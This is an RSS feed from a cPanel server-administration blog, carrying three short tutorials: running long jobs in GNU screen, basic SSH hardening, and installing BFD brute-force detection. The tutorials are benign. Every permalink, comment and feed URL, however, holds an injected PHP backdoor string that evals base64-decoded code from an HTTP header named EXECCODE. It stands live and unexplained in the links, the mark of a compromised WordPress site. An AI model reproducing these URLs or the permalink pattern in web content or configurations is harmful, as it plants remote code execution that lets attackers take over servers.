cPanelConfig - cPanel server configuration guide » linux http://www.cpanelconfig.com The complete guide to setup and manage a cPanel based server Fri, 17 Jul 2009 11:15:39 +0000 http://wordpress.org/?v=2.8 en hourly 1 Using the screen command http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Thu, 09 Oct 2008 08:09:08 +0000 yolau http://www.cpanelconfig.com/?p=70 What is the screen command?


First of all I will start by telling you what you can do using the “screen” command.
Many times as a linux sysadmin you will need to run multiple commands at once. You are probably doing this by opening multiple ssh sessions but there is a better way to do it !
Also as a sysadmin you probably had to run a command or script that is taking hours to finish like a rsync. This usually requires you to keep the ssh session open as if you close it the command or script will also be closed.

If you ever faced any of those problems then it’s probably time to learn about the screen command.

Screen – makes it possible to run multiple full-screen pseudo-terminals from one real terminal, and lets you manipulate and save your screen input and output, copy and paste between windows.

In this tutorial I will only present how you can run a command that is taking hours to complete in a screen.

First of all make sure that you have screen installed. If you don’t you can install it using yum, apt-get or any other package manager that you might have on your server.

yum install screen

Now type in:

screen

This will start a new screen for you. You could also name you screen using the -S option. Something like:

screen -S 1

In this case I named the screen “1″.

The screeen will look like any other ssh window.
You can now type in your command that you want to run.

If you want to detach from the screen and still keep the command running you can do this by pressing:

Ctrl-a d (that is press Ctrl-a, release and press d)

If you want to reatach to a screen you simply type in:

screen -r

Other options that you have when you are in a screen are:

  1. To create a new screen:

    2. Ctrl-a c

  2. To switch between screens:

    3. Ctrl-a n

  3. And many others.

For more help on this you can use:

man screen


Hope it helps!
If you have any questions just leave a comment.

]]> http://www.cpanelconfig.com/2008/10/09/using-the-screen-command/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Secure ssh access http://www.cpanelconfig.com/2007/09/12/secure-ssh-access/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/09/12/secure-ssh-access/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Wed, 12 Sep 2007 21:04:54 +0000 yolau http://www.cpanelconfig.com/cpanel-security-related-articles/secure-ssh-access/
Securing ssh access is extremely vital for any server. There are a few things that you can do to secure it. This article will cover one the basics.

  1. The first this that I recommend doing is changing the ssh port. This will prevent a lot of login attempts from automatic scripts trying port 22. To do this edit the file /etc/ssh/sshd_config

    2. pico /etc/ssh/sshd_config

    Locate the line #Port 22, uncomment it and change the port to something random.
    Note: Please remember to open this port in your firewall if you use one. Failure to do so may lock you out if your own server !

  2. Allow only SSH 2 protocol

    3. Again edit /etc/ssh/sshd_config, locate the line #Protocol 2,1 and change it to Protocol 2

    After doing step 1 and 2 you have to restart sshd for the changes to take effect.

    service sshd restart

]]> http://www.cpanelconfig.com/2007/09/12/secure-ssh-access/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 2 Install BFD – Brute Force Detection http://www.cpanelconfig.com/2007/09/11/install-bfd-brute-force-detection/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://www.cpanelconfig.com/2007/09/11/install-bfd-brute-force-detection/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 11 Sep 2007 22:02:09 +0000 yolau http://www.cpanelconfig.com/uncategorized/install-bfd-brute-force-detection/
What is BFD?
BFD is a modular shell script for parsing applicable logs and checking for authentication failures. There is not much complexity or detail to BFD yet and likewise it is very straight-forward in its installation, configuration and usage. The reason behind BFD is very simple; the fact there is little to no authentication and brute force auditing programs in the linux community that work in conjunction with a firewall or real-time facility to place bans.

Install instructions

Please note that you must have APF installed before you install BFD. The installation guide for APF is located here.

  1. Download and extract BFD

    2. wget http://www.r-fx.ca/downloads/bfd-current.tar.gz
    gzip -d bfd-current.tar.gz
    tar -xf bfd-current.tar

  2. Move to the extracted directory

    3. cd bfd-0.9/

  3. Run the installer

    4. ./install.sh

    After the installer runs you should see something like

    BFD installed
    Install path: /usr/local/bfd
    Config path: /usr/local/bfd/conf.bfd
    Executable path: /usr/local/sbin/bfd

  4. Edit the configuration files

    5. pico /usr/local/bfd/conf.bfd

    The only things that I suggest changing are:
    - ALERT_USR=”0″ to ALERT_USR=”1″
    - EMAIL_USR=”root” to EMAIL_USR=”you@domain.com”

BFD works by running a cron every 5 minutes to check for login attempts. You can customize the rules used for any of the monitored services by editing the appropriate rule located in /usr/local/bfd/rules

If you have any questions about BFD please leave a comment and I will try to answer each and every question.

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